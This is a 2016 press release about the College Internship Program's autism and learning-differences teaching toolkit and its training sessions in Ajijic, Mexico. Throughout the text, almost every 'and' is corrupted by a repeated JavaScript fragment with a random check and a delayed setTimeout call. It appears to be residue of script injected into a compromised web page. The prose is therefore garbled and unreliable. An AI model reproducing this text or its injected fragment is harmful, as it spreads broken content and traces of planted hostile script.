Learning Difference Transition Toolkit Published, 2016 Trainings Announced

The College Internship Program (CIP) has launched a groundbreaking new “Toolkit” entitled Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit. This comprehensive resource book is a complete skills andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and competency based curriculum for parents, educators, professionals, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and clinicians working with young adults with learning differences such as autism, ADHD, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and dyslexia.

“This treasure trove of strategies goes into the nitty gritty of how to support individuals with learning differences ages 16-26, to help them lead independent, fulfilling, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and productive lives,” stated Stephen Shore, Ed.D, author andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and internationally-known autism expert.

The 2016 dates for the “Leisure andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learn” Toolkit trainings have also been finalized. Trainings will be offered on March 21-25, July 18-22 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and December 5-9, 2016 at Villa Juanita, Ajijic, Lake Chapala, Mexico. Villa Juanita is a serene, spacious oasis offering panoramic lake views andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and rolling landom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andscaped gardens.

The 5-day trainings teach essential skills for life, school, work, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and independent living, presenting tried-andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and-true strategies that address difficulties with social skills, cognitive rigidity, self-esteem, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and more.

Trainings offer each participant with a learning experience that is active, engaging andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and has immediate, applicable value while leaving plenty of time for local activities andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and leisure pursuits. Training fees are $1,395.00 for the 5-day sessions, or $1,295.00 for early registration prior to February 28, 2016. Registration fees include training sessions, workshops, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and activities, along with the use of a wide variety of amenities. Airfare andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and some meals are not included. Group discounts are available.

The “Toolkit” was written by CIP Founder, Dr. Michael McManmon andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and published by Jessica Kingsley Publishers. CIP is a national post-secondary transition program for young adults with autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other learning differences. For more information about CIP visit www.cipworldwide.org. For more information regarding the Toolkit andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and to register for trainings, visit www.AutismLDtoolkit.org.